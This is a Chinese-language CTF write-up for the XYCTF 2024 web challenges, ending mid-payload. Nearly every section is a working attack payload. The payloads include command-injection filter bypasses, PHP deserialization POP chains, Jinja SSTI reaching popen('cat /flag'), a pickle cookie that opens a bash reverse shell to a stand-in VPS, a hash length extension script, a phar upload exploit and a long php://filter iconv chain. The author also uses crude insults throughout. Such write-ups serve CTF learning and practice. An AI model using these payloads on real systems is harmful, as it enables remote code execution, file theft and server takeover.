XYCTF2024-web-wp

怎么全是傻逼绕过题。

不想评价，就随便打着玩，除了最后一道java反序列化搞心态，其他的ak了：

简单题不想说，http注意一下代理是用Via就行，warmup直接：

http://xyctf.top:37034/?val1=240610708&val2=QNKCDZO&md5=0e215962017&XYCTF=240610708&XY=240610708

LLeeevvveeelll222.php

get:http://xyctf.top:37034/LLeeevvveeelll222.php?a=/test/e&b=system('cat /flag')&c=jutst test
post:a[]=114514

ezMake

直接访问：

ez?Make

ban完了基本上，搜到个奇技淫巧：

echo "6364202e2e3b6364202e2e3b6364202e2e3b63617420666c6167"|xxd -r -p|sh

牢牢记住，逝者为大

还是傻逼绕过。

参数逃逸：

?cmd=%0d`$_GET[c]`;%23&c=cp /flag em

八进制绕过：

?cmd=%0d`$_GET[c]`;%23&c=$'\143\160'+$'\57\146\154\141\147'+$'\145\155'

然后访问em拿flag：

ezPOP

 <?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}

class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}


if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

payload：

<?php
class AAA
{
    public $s;
    public $a;
}
 
class BBB
{
    public $c;
    public $d;
}
 
class CCC
{
    public $c;
}
 
 
$c = new CCC();
$a = new AAA();
$b = new BBB();

$c->c = $a;
$a->s = new BBB();
$b->c = "cat /flag";
echo serialize($x);

a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:9:"cat /flag";s:1:"d";N;}s:1:"a";N;}}i:0;N;}

//POST
a=current&b=system

上面的序列化数据是一个数组对象，数组对象中有两个对象，一个是我们要反序列化的对象，另一个就是单纯的null。

但是我们发现两个对象的序号（键值）都是i:0，而反序列化是从里向外的，也就是说我们先反序列化了数组中的第一个对象，然后再序列化第二个对象，在序列化第二个对象时因为键是0，值是null，就会把原本键0指向的那个对象抛弃，指向一个null对象。这样原先那个对象就没有指向了，而当我们的对象没有指向的时候，这个对象就会被销毁，也就会触发destruct方法（否则源码中先回throw抛出错误，不会执行的destruct），强制GC。

我是一个复读机

傻逼ssti绕过，弱口令admin/asdqwe

{ } 被ban不要紧，换个编码的﹛﹜，url栏能识别。

url栏一把梭了：

?sentence=﹛(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()﹜&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag

ezRCE

一眼八进制绕过

url/?cmd=$'\143\141\164'<$'\57\146\154\141\147'

//等价cat</flag

ezClass

一眼php原生类：

http://localhost:56206/?a=SplFileObject&aa=/flag&b=SplFileObject&bb=/flag&c=fgets

login

打开一个登录框，sql注入无果，url是login.php，猜测有register.php，注册账号：

eddie/eddie

但登录没什么卵用，啥都没有。

登录抓包：

还拿到个RememberMe的Cookie，但这显然不是shiro。

gAS开头，一眼pickle反序列化：

写一个pickle.dumps就知道了，很显然就是一个pickle.dumps()后再base64加密的cookie。

但测的时候发现R__reduce__被ban掉了。

那就手搓字节码，环境出网：

import base64

payload = '''(S"bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'"
ios
system
.'''
print(base64.b64encode(payload.encode()))

再点一下redirect就弹上了：

give me flag

跟前段时间打的红明谷有点像，也是hash问题。

但这道是hash长度扩展攻击，找到个Confirm your account recovery settings (github.com)

借里面的文件改改payload：

import base64
import hashlib
import hmac
import struct
import sys
import time
import urllib.parse
import time
from common.md5_manual import md5_manual
from loguru import logger
from common.crypto_utils import CryptoUtils
import requests

class HashExtAttack:
    """
    哈希长度扩展攻击,解决 hashpump 在win下使用困难的问题
    目前仅支持md5，如果你对认证算法有了解可以手动改写str_add中的字符串拼接方式
    """

    def __init__(self):
        self.know_text = b""
        self.know_text_padding = b""
        self.new_text = b""
        self.rand_str = b''
        self.know_hash = b""
        self.key_length = b''

    def _padding_msg(self):
        """填充明文"""
        logger.debug("填充明文")
        self.know_text_padding = md5_manual.padding_str(self.know_text)
        logger.debug(f"已知明文填充：{self.know_text_padding}")

    def _gen_new_plain_text(self):
        """生成新明文"""
        self.new_text = self.know_text_padding + self.rand_str
        logger.debug(f"new_text: {self.new_text}")

    def split_hash(self, hash_str: bytes):
        by_new = CryptoUtils.trans_str_origin2_bytes(hash_str.decode())
        return struct.unpack("<IIII", by_new)

    def _guess_new_hash(self) -> tuple:
        """生成新hash"""
        # 第一步先生成新的字符串
        # 对已知明文进行填充
        self._padding_msg()
        # 第二步 生成新明文
        self._gen_new_plain_text()
        # 第三步 生成新hash(基于已知hash进行计算)
        # 3.1 hash拆分成4个分组
        hash_block = self.split_hash(hash_str=self.know_hash)
        md5_manual.A, md5_manual.B, md5_manual.C, md5_manual.D = hash_block
        tmp_str = md5_manual.padding_str(self.new_text)
        logger.debug(f"新明文填充tmp_str({len(tmp_str)}): {tmp_str}")
        logger.debug(f"参与手工分块计算的byte：{tmp_str[-64:]}")
        md5_manual.solve(tmp_str[-64:])
        self.new_hash = md5_manual.hex_digest()
        return self.new_text, self.new_hash

    def run(self, know_text, know_hash, rand_str, key_len) -> tuple:
        self.know_text = ("*" * key_len + know_text).encode()
        self.know_hash = know_hash.encode()
        self.rand_str = rand_str.encode()
        self._guess_new_hash()
        return self.new_text[key_len:], self.new_hash

    def input_run(self):
        time1=int(time.time()) + 5
        result=self.run("","41a1654f94d87c85f730577608b0ed80",str(time1),43)
        encoded_text=urllib.parse.quote(result[0])
        while(1):
            re1=requests.get('http://127.0.0.1:62964/?value='+encoded_text[:encoded_text.index('171')]+'&md5='+result[1])
            print(1)
            if 'yes' in re1.text:
                print(re1.text)
                break


hash_ext_attack = HashExtAttack()

if __name__ == '__main__':
    logger.remove()
    logger.add(sys.stderr, level="INFO")
    hash_ext_attack.input_run()

当然，里面的flag长度是需要猜的，一个个试，试到43出了。

εZ?¿м@Kε¿?

常规的给你过滤完了，只能不走寻常路。

相当于重定向了bash：

$$(<$<)

pharme

好久不见打phar的题。

进去后查看源码发现class.php，进入拿到关键源码:

打phar那个绕过很简单，compress.zlib就可以了。

但是那个正则表达式绕过却有点搞，显然这里应该要无参数RCE。

而传文件会检测__HALT_CONPILER()，这里gzip绕过就好。

无参数RCE的payload:

readfile(array_rand(array_flip(scandir(dirname(dirname(dirname(pos(localeconv()))))))));

生成phar：

<?php
class evil 
{
    public $cmd="readfile(array_rand(array_flip(scandir(dirname(dirname(dirname(pos(localeconv()))))))));__halt_compiler();";
}
$a=new evil();
@unlink("exp.phar");

$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

gzip压缩，改后缀，上传一气呵成：

然后框框刷新就行了，这个需要运气。

ezSerialize

判断逻辑重点在：

$this->token === $this->password;

$pop->token=md5(mt_rand());

开始以为是伪随机数打，后面想到可以用同地址变量（引用）绕过：

<?php
class Flag {
public $token;
public $password;
}
$a = new Flag();
$a->password = &$a->token;
echo urlencode(serialize($a));
?>

进第二关。

 <?php
highlight_file(__FILE__);
class A {
    public $mack;
    public function __invoke()
    {
        $this->mack->nonExistentMethod();
    }
}

class B {
    public $luo;
    public function __get($key){
        echo "o.O<br>";
        $function = $this->luo;
        return $function();
    }
}

class C {
    public $wang1;

    public function __call($wang1,$wang2)
    {
            include 'flag.php';
            echo $flag2;
    }
}


class D {
    public $lao;
    public $chen;
    public function __toString(){
        echo "O.o<br>";
        return is_null($this->lao->chen) ? "" : $this->lao->chen;
    }
}

class E {
    public $name = "xxxxx";
    public $num;

    public function __unserialize($data)
    {
        echo "<br>学到就是赚到!<br>";
        echo $data['num'];
    }
    public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br>";
        }
    }
}

if (isset($_POST['pop'])) {
    unserialize($_POST['pop']);
}

勾八，不想审计了。

ezpop链，一把梭了：

<?php
class A {
    public $mack;
}

class B {
    public $luo;
}

class C {
    public $wang1;
}


class D {
    public $lao;
    public $chen;
}

class E {
    public $name;
    public $num;
}

$a = new A();
$b = new B();
$c = new C();
$d = new D();
$e = new E();


$e->num = $d;
$d->lao = $b;
$b->luo = $a;
$a->mack = $c;

echo urlencode(serialize($e));
?>

第三关saber_master_saber_master.php。（真能套啊）

 <?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;

    public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
    {
        $this->Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}


if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}

这里很搞：

$this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258'

crypto0和T1ng分别在两个类中，adwa不可能既是XYCTFNO2的对象又是XYCTFNO1的对象。

但我想到前面beginctf做过的一个傻逼签到题，反序列化传入的字符串它只认字符串，所以你在不同类中多造一个属性，只要符合语法，它一样不会报错。

<?php
class XYCTFNO1
{
    public $crypto0='dev1l';
    public $T1ng='yuroandCMD258';
}

class XYCTFNO2
{
    public $adwa;
}

class XYCTFNO3
{
    public $KickyMu;
    public $N1ght = "oSthing";
}

$xy1 = new XYCTFNO1();
$xy2 = new XYCTFNO2();
$xy3 = new XYCTFNO3();

$xy3->KickyMu = $xy2;
$xy2->adwa = $xy1;
echo urlencode(serialize($xy3));

这里直接原生类开读：

额好像用错了，上面说了在flag.php，那就换SplFileObject，直接读读不出来，上php伪协议：

连连看到底是连连什么看

发了源码文件，直接看到这里：

意思很显然，ban了一些东西，然后你给$p赋值，在payload这个伪协议里凑出东西来读flag。

很容易想到有个长串伪协议的绕过方法，这有一个专门的工具：

wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT (github.com)

但还有个问题，这里后面是强比较===，所以还要把后面的dirty datas给绕过了。

有个思路是经过多次的base64加密和解密，每次编码记得删除后面的=，扔掉后方的脏数据。

测出六次base64编码后的XYCTF满足条件：

XYCTF 一次=> WFlDVEY=
WFlDVEY 两次=> V0ZsRFZFWQ==
V0ZsRFZFWQ 三次=> VjBac1JGWkZXUQ==
VjBac1JGWkZXUQ 四次=> VmpCYWMxSkdXa1pYVVE=
VmpCYWMxSkdXa1pYVVE 五次=> Vm1wQ1lXTXhTa2RYYTFwWVZWRQ==
Vm1wQ1lXTXhTa2RYYTFwWVZWRQ 六次=> Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE=

file_to_use = "/etc/passwd"

#<?php eval($_GET[1]);?>a
base64_payload = "Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE"

# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += open('./res/'+(str(hex(ord(c)))).replace("0x","")).read() + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

with open('test.php','w') as f:
    f.write('<?php echo file_get_contents("'+final_payload+'");?>')
print(final_payload)

路径为/etc/passwd，就不用改。

得到的结果：

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

我们取题目中php://filter/$p/resource=/etc/passwd的对应$p部分：

convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode

加上六次的base64解密，但是这个脚本生成出来最后默认有一个b64的解密，因为你输入就是base64加密后的串，所以只用再加上五次：

|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode

综合payload：

url/what's_this.php?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UT